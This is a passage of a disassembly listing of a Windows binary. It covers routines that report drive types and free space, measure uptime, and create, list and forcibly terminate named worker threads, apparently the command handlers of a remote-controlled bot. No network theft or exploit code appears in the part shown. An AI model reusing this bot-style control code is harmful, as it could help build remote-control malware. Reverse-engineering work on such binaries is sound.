		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	esi
		push	offset sub_405E4E
		call	sub_40663C
		add	esp, 10h


loc_406094:				; CODE XREF: sub_40605E+10j
		pop	esi
		retn
sub_40605E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406096	proc near		; CODE XREF: sub_40849F+141p
					; sub_40849F+213p ...

var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_413364
		push	esi
		mov	[ebp+var_4], eax
		xor	esi, esi


loc_4060A7:				; CODE XREF: sub_406096+73j
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4110D0	; GetDriveTypeA
		test	eax, eax
		jz	short loc_406102
		cmp	eax, 1
		jz	short loc_406102
		cmp	eax, 5
		jz	short loc_4060DC
		cmp	eax, 2
		jz	short loc_4060DC
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4110CC	; GetDiskFreeSpaceExA
		jmp	short loc_4060EC
; ---------------------------------------------------------------------------


loc_4060DC:				; CODE XREF: sub_406096+27j
					; sub_406096+2Cj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch


loc_4060EC:				; CODE XREF: sub_406096+44j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_4109F0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		add	esi, eax


loc_406102:				; CODE XREF: sub_406096+1Dj
					; sub_406096+22j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	short loc_4060A7
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406110	proc near		; DATA XREF: sub_4062EC+29o

var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_420		= byte ptr -420h
var_40B		= byte ptr -40Bh
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C8h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_420]
		xor	eax, eax
		push	5
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+arg_0], ebx
		rep movsd
		movsb
		mov	ecx, 0FAh
		lea	edi, [ebp+var_40B]
		rep stosd
		mov	esi, ds:dword_4111EC
		mov	[ebp+var_10], 1
		stosw
		stosb
		mov	eax, dword_413364
		mov	[ebp+var_4], eax


loc_406178:				; CODE XREF: sub_406110+172j
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4110D0	; GetDriveTypeA
		test	eax, eax
		jz	loc_40627B
		cmp	eax, 1
		jz	loc_40627B
		cmp	eax, 2
		jnz	short loc_4061DC
		mov	edi, offset aRemovable ; "removable"


loc_40619D:				; CODE XREF: sub_406110+EEj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch


loc_4061AD:				; CODE XREF: sub_406110+115j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_4109F0
		cmp	[ebp+var_10], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		jnz	short loc_406227
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_410856	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_40622B
; ---------------------------------------------------------------------------


loc_4061DC:				; CODE XREF: sub_406110+86j
		cmp	eax, 3
		jnz	short loc_4061E8
		mov	edi, offset aFixed ; "fixed"
		jmp	short loc_40620F
; ---------------------------------------------------------------------------


loc_4061E8:				; CODE XREF: sub_406110+CFj
		cmp	eax, 4
		jnz	short loc_4061F4
		mov	edi, offset aRemote ; "remote"
		jmp	short loc_40620F
; ---------------------------------------------------------------------------


loc_4061F4:				; CODE XREF: sub_406110+DBj
		cmp	eax, 5
		jnz	short loc_406200
		mov	edi, offset aCdRom ; "cd-rom"
		jmp	short loc_40619D
; ---------------------------------------------------------------------------


loc_406200:				; CODE XREF: sub_406110+E7j
		cmp	eax, 6
		mov	edi, offset aRamdisk ; "ramdisk"
		jz	short loc_40620F
		mov	edi, offset aUnknown ; "unknown"


loc_40620F:				; CODE XREF: sub_406110+D6j
					; sub_406110+E2j ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4110CC	; GetDiskFreeSpaceExA
		jmp	short loc_4061AD
; ---------------------------------------------------------------------------


loc_406227:				; CODE XREF: sub_406110+B5j
		and	[ebp+var_10], 0


loc_40622B:				; CODE XREF: sub_406110+CAj
		mov	eax, [ebp+var_C]
		or	eax, [ebp+var_8]
		jz	short loc_406258
		push	[ebp+var_8]
		lea	eax, [ebp+var_4]
		push	[ebp+var_C]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4133B0
		push	eax
		call	esi	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_406275
; ---------------------------------------------------------------------------


loc_406258:				; CODE XREF: sub_406110+121j
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4133A0
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h


loc_406275:				; CODE XREF: sub_406110+146j
		add	ebx, [ebp+var_C]
		inc	[ebp+arg_0]


loc_40627B:				; CODE XREF: sub_406110+74j
					; sub_406110+7Dj
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	loc_406178
		cmp	[ebp+arg_0], 0
		jz	short loc_4062A1
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_410856	; _mbscat
		pop	ecx
		pop	ecx


loc_4062A1:				; CODE XREF: sub_406110+17Cj
		push	ebx
		lea	eax, [ebp+var_420]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_413368
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	offset dword_412B30
		push	eax
		call	sub_408D50
		push	[ebp+var_5C8]
		call	sub_406753
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406110	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062EC	proc near		; CODE XREF: sub_40735A+E4Dp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406322
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	esi
		push	offset sub_406110
		call	sub_40663C
		add	esp, 10h


loc_406322:				; CODE XREF: sub_4062EC+10j
		pop	esi
		retn
sub_4062EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406324	proc near		; CODE XREF: seg000:00410706p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4110DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4110D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406385
		jg	short loc_40634C
		cmp	[ebp+var_10], eax
		jbe	short loc_406385


loc_40634C:				; CODE XREF: sub_406324+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406385
		jg	short loc_406358
		cmp	[ebp+var_8], eax
		jbe	short loc_406385


loc_406358:				; CODE XREF: sub_406324+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_410A20
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_410A10	; ceil
		pop	ecx
		pop	ecx
		call	sub_4109E8	; _ftol
		jmp	short loc_406394
; ---------------------------------------------------------------------------


loc_406385:				; CODE XREF: sub_406324+1Fj
					; sub_406324+26j ...
		call	ds:dword_4110D4	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx


loc_406394:				; CODE XREF: sub_406324+5Fj
		mov	dword_418000, eax
		leave
		retn
sub_406324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40639B	proc near		; CODE XREF: sub_4058D7+4Fp
					; sub_40735A:loc_408242p ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4110DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4110D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_4063FC
		jg	short loc_4063C3
		cmp	[ebp+var_10], eax
		jbe	short loc_4063FC


loc_4063C3:				; CODE XREF: sub_40639B+21j
		cmp	[ebp+var_4], eax
		jl	short loc_4063FC
		jg	short loc_4063CF
		cmp	[ebp+var_8], eax
		jbe	short loc_4063FC


loc_4063CF:				; CODE XREF: sub_40639B+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_410A20
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_410A10	; ceil
		pop	ecx
		pop	ecx
		call	sub_4109E8	; _ftol
		leave
		retn
; ---------------------------------------------------------------------------


loc_4063FC:				; CODE XREF: sub_40639B+1Fj
					; sub_40639B+26j ...
		call	ds:dword_4110D4	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		leave
		retn
sub_40639B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40640D	proc near		; CODE XREF: sub_405E4E:loc_405EC6p
					; sub_40735A+F37p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4110DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4110D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_40646E
		jg	short loc_406435
		cmp	[ebp+var_10], eax
		jbe	short loc_40646E


loc_406435:				; CODE XREF: sub_40640D+21j
		cmp	[ebp+var_4], eax
		jl	short loc_40646E
		jg	short loc_406441
		cmp	[ebp+var_8], eax
		jbe	short loc_40646E


loc_406441:				; CODE XREF: sub_40640D+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_410A20
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_410A10	; ceil
		pop	ecx
		pop	ecx
		call	sub_4109E8	; _ftol
		jmp	short loc_406474
; ---------------------------------------------------------------------------


loc_40646E:				; CODE XREF: sub_40640D+1Fj
					; sub_40640D+26j ...
		call	ds:dword_4110D4	; GetTickCount


loc_406474:				; CODE XREF: sub_40640D+5Fj
		sub	eax, dword_418000
		leave
		retn
sub_40640D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40647C	proc near		; CODE XREF: seg000:00410611p

var_4		= dword	ptr -4

		and	dword_418020, 0
		push	1980h
		call	sub_41082C	; malloc
		mov	dword_418028, eax
		mov	[esp+4+var_4], offset dword_418008
		call	sub_406AB6
		pop	ecx
		retn
sub_40647C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064A0	proc near		; DATA XREF: sub_406541+25o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_411288
		push	offset sub_410ACA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		mov	[ebp+var_20], esi
		mov	edi, [eax+4]
		mov	[ebp+var_1C], edi
		push	eax
		call	sub_410832	; free
		pop	ecx
		push	esi
		call	ds:dword_4110E0	; IsBadCodePtr
		test	eax, eax
		jz	short loc_406508
		cmp	dword_417B68, 0
		jz	short loc_40652A
		push	esi
		push	offset dword_413440
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 0Ch
		jmp	short loc_40652A
; ---------------------------------------------------------------------------


loc_406508:				; CODE XREF: sub_4064A0+48j
		push	edi
		call	esi	; wsprintfA
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406530
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_40652A:				; CODE XREF: sub_4064A0+51j
					; sub_4064A0+66j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_406530:				; CODE XREF: sub_4064A0+6Fj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4064A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406541	proc near		; CODE XREF: sub_404F90+F9p
					; sub_406A80+21p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406591
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	esi
		push	offset sub_4064A0
		push	20000h
		push	0
		call	sub_410AD0	; _beginthreadex
		add	esp, 18h
		test	eax, eax
		jz	short loc_40658A
		push	eax
		call	ds:dword_4110AC	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_406593
; ---------------------------------------------------------------------------


loc_40658A:				; CODE XREF: sub_406541+3Bj
		push	esi
		call	sub_410832	; free
		pop	ecx


loc_406591:				; CODE XREF: sub_406541+11j
		xor	eax, eax


loc_406593:				; CODE XREF: sub_406541+47j
		pop	esi
		leave
		retn
sub_406541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406596	proc near		; DATA XREF: sub_40663C+C9o

var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_411298
		push	offset sub_410ACA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_417B60
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1A0], ecx
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+10h]
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40662B
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_40662B:				; CODE XREF: sub_406596+72j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406596	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40663C	proc near		; CODE XREF: sub_4014B0+79p
					; sub_4018D5+78p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset dword_418008
		call	sub_406AE4
		cmp	dword_418020, 10h
		pop	ecx
		jnz	short loc_406667
		push	[ebp+arg_4]
		call	sub_410832	; free
		pop	ecx
		xor	ebx, ebx
		jmp	loc_406741
; ---------------------------------------------------------------------------


loc_406667:				; CODE XREF: sub_40663C+19j
		mov	ecx, dword_418028
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		mov	edi, 198h
		jz	short loc_40668D
		xor	edx, edx
		lea	eax, [ecx+10h]


loc_40667E:				; CODE XREF: sub_40663C+4Fj
		mov	esi, [ebp+arg_0]
		cmp	[eax], esi
		jz	short loc_4066A1
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_40667E


loc_40668D:				; CODE XREF: sub_40663C+3Bj
		mov	[ebp+var_4], ebx
		xor	edx, edx
		lea	eax, [ecx+8]


loc_406695:				; CODE XREF: sub_40663C+63j
		cmp	[eax], ebx
		jz	short loc_4066AF
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_406695


loc_4066A1:				; CODE XREF: sub_40663C+47j
					; sub_40663C+82j
		push	[ebp+arg_4]
		call	sub_410832	; free
		pop	ecx
		jmp	loc_406741
; ---------------------------------------------------------------------------


loc_4066AF:				; CODE XREF: sub_40663C+5Bj
		mov	eax, edx
		imul	eax, 198h
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	[eax], edx
		jz	short loc_4066A1
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jz	short loc_4066CC
		mov	[esi], eax


loc_4066CC:				; CODE XREF: sub_40663C+8Cj
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+arg_C]
		add	eax, 14h
		push	eax
		call	sub_410AD6	; vsprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	ecx, esi
		mov	[eax+4], ebx
		inc	dword_418020
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jnz	short loc_4066FF
		mov	ecx, eax


loc_4066FF:				; CODE XREF: sub_40663C+BFj
		add	eax, 0Ch
		push	eax
		push	ebx
		push	ecx
		push	offset sub_406596
		push	ebx
		push	ebx
		call	sub_410AD0	; _beginthreadex
		mov	ecx, [ebp+var_4]
		add	esp, 18h
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		cmp	[eax+8], ebx
		jnz	short loc_40673E
		push	esi
		call	sub_410832	; free
		dec	dword_418020
		push	edi
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 10h
		jmp	short loc_406741
; ---------------------------------------------------------------------------


loc_40673E:				; CODE XREF: sub_40663C+E4j
		push	1
		pop	ebx


loc_406741:				; CODE XREF: sub_40663C+26j
					; sub_40663C+6Ej ...
		push	offset dword_418008
		call	sub_406AEF
		pop	ecx
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_40663C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406753	proc near		; CODE XREF: sub_4011C4+2DEp
					; sub_401621+277p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_418008
		push	edi
		push	esi
		call	sub_406AE4
		mov	edi, [esp+0Ch+arg_0]
		dec	dword_418020
		pop	ecx
		push	dword ptr [edi+8]
		call	ds:dword_4110AC	; CloseHandle
		push	198h
		push	0
		push	edi
		call	sub_410850	; memset
		push	esi
		call	sub_406AEF
		add	esp, 10h
		pop	edi
		pop	esi
		retn
sub_406753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40678D	proc near		; CODE XREF: sub_40735A+6B3p

var_188		= byte ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	edi
		jz	loc_406864
		push	esi
		call	sub_4052D4
		test	al, al
		pop	ecx
		jz	short loc_4067EB
		push	esi
		call	sub_41088C	; atoi
		mov	edi, offset dword_418008
		mov	esi, eax
		push	edi
		call	sub_406AE4
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_4067E2
		imul	esi, 198h
		mov	eax, dword_418028
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_4067E2
		mov	dword ptr [eax+4], 1


loc_4067E2:				; CODE XREF: sub_40678D+39j
					; sub_40678D+4Cj
		push	edi
		call	sub_406AEF
		pop	ecx
		jmp	short loc_406864
; ---------------------------------------------------------------------------


loc_4067EB:				; CODE XREF: sub_40678D+1Fj
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [ebp+var_188]
		push	185h
		push	eax
		call	sub_41089E	; _snprintf
		mov	edi, offset dword_418008
		push	edi
		call	sub_406AE4
		mov	ebx, dword_418020
		add	esp, 14h
		xor	esi, esi


loc_406819:				; CODE XREF: sub_40678D+CDj
		mov	eax, dword_418028
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_40684E
		lea	ecx, [ebp+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		dec	ebx
		call	sub_4071EF
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40684A
		mov	eax, dword_418028
		mov	dword ptr [esi+eax+4], 1


loc_40684A:				; CODE XREF: sub_40678D+AEj
		test	ebx, ebx
		jz	short loc_40685C


loc_40684E:				; CODE XREF: sub_40678D+97j
		add	esi, 198h
		cmp	esi, 1980h
		jb	short loc_406819


loc_40685C:				; CODE XREF: sub_40678D+BFj
		push	edi
		call	sub_406AEF
		pop	ecx
		pop	ebx


loc_406864:				; CODE XREF: sub_40678D+10j
					; sub_40678D+5Cj
		pop	edi
		pop	esi
		leave
		retn
sub_40678D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406868	proc near		; CODE XREF: sub_40735A+6E4p

var_18C		= dword	ptr -18Ch
var_188		= byte ptr -188h
arg_0		= dword	ptr  4

		sub	esp, 18Ch
		push	ebp
		push	esi
		mov	esi, [esp+194h+arg_0]
		xor	ebp, ebp
		cmp	esi, ebp
		push	edi
		jz	loc_406989
		push	esi
		call	sub_4052D4
		test	al, al
		pop	ecx
		jz	short loc_4068EC
		push	esi
		call	sub_41088C	; atoi
		mov	edi, offset dword_418008
		mov	esi, eax
		push	edi
		call	sub_406AE4
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_4068E0
		imul	esi, 198h
		mov	eax, dword_418028
		add	eax, esi
		cmp	[eax+8], ebp
		jz	short loc_4068E0
		dec	dword_418020
		mov	esi, [eax+8]
		push	198h
		push	ebp
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		push	ebp
		push	esi
		call	ds:dword_4110E4	; TerminateThread
		push	esi
		call	ds:dword_4110AC	; CloseHandle


loc_4068E0:				; CODE XREF: sub_406868+3Dj
					; sub_406868+4Fj
		push	edi
		call	sub_406AEF
		pop	ecx
		jmp	loc_406989
; ---------------------------------------------------------------------------


loc_4068EC:				; CODE XREF: sub_406868+23j
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [esp+1A4h+var_188]
		push	185h
		push	eax
		call	sub_41089E	; _snprintf
		push	offset dword_418008
		call	sub_406AE4
		mov	eax, dword_418020
		add	esp, 14h
		mov	[esp+19Ch+var_18C], eax
		xor	edi, edi
		mov	ebx, 198h


loc_40691F:				; CODE XREF: sub_406868+113j
		mov	eax, dword_418028
		add	eax, edi
		cmp	[eax+8], ebp
		jz	short loc_406973
		dec	[esp+19Ch+var_18C]
		lea	ecx, [esp+19Ch+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		call	sub_4071EF
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40696D
		mov	eax, dword_418028
		dec	dword_418020
		add	eax, edi
		push	ebx
		push	ebp
		push	eax
		mov	esi, [eax+8]
		call	sub_410850	; memset
		add	esp, 0Ch
		push	ebp
		push	esi
		call	ds:dword_4110E4	; TerminateThread
		push	esi
		call	ds:dword_4110AC	; CloseHandle


loc_40696D:				; CODE XREF: sub_406868+D9j
		cmp	[esp+19Ch+var_18C], ebp
		jz	short loc_40697D


loc_406973:				; CODE XREF: sub_406868+C1j
		add	edi, ebx
		cmp	edi, 1980h
		jb	short loc_40691F


loc_40697D:				; CODE XREF: sub_406868+109j
		push	offset dword_418008
		call	sub_406AEF
		pop	ecx
		pop	ebx


loc_406989:				; CODE XREF: sub_406868+14j
					; sub_406868+7Fj
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 18Ch
		retn
sub_406868	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406993	proc near		; DATA XREF: sub_406A80+1Co

var_1B0		= dword	ptr -1B0h
var_1A4		= byte ptr -1A4h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		push	1A3h
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		mov	eax, dword_418020
		add	esp, 10h
		test	eax, eax
		jz	loc_406A67
		push	esi
		push	edi
		push	10h
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_4134B8
		push	eax
		call	sub_408D50
		mov	esi, offset dword_418008
		push	esi
		call	sub_406AE4
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		add	esp, 14h
		xor	edi, edi


loc_4069F6:				; CODE XREF: sub_406993+C5j
		mov	eax, dword_418028
		cmp	dword ptr [edi+eax+8], 0
		jz	short loc_406A49
		push	esi
		call	sub_406AEF
		mov	[esp+1B0h+var_1B0], 3E8h
		call	ds:dword_4110A4	; Sleep
		push	esi
		call	sub_406AE4
		mov	eax, dword_418028
		pop	ecx
		lea	eax, [edi+eax+14h]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	offset dword_4134A8
		push	eax
		call	sub_408D50
		mov	eax, dword_418028
		add	esp, 10h
		cmp	dword ptr [edi+eax+4], 0
		jnz	short loc_406A5A


loc_406A49:				; CODE XREF: sub_406993+6Dj
		inc	[ebp+arg_0]
		add	edi, 198h
		cmp	edi, 1980h
		jl	short loc_4069F6


loc_406A5A:				; CODE XREF: sub_406993+B4j
		push	esi
		call	sub_406AEF
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		jmp	short locret_406A7C
; ---------------------------------------------------------------------------


loc_406A67:				; CODE XREF: sub_406993+2Fj
		lea	eax, [ebp+var_1A4]
		push	offset dword_413488
		push	eax
		call	sub_408D50
		pop	ecx
		xor	eax, eax
		pop	ecx

locret_406A7C:				; CODE XREF: sub_406993+D2j
		leave
		retn	4
sub_406993	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A80	proc near		; CODE XREF: sub_40735A+474p

arg_0		= dword	ptr  4

		push	esi
		push	1A3h
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_406AB4
		mov	esi, [esp+4+arg_0]
		push	esi
		push	eax
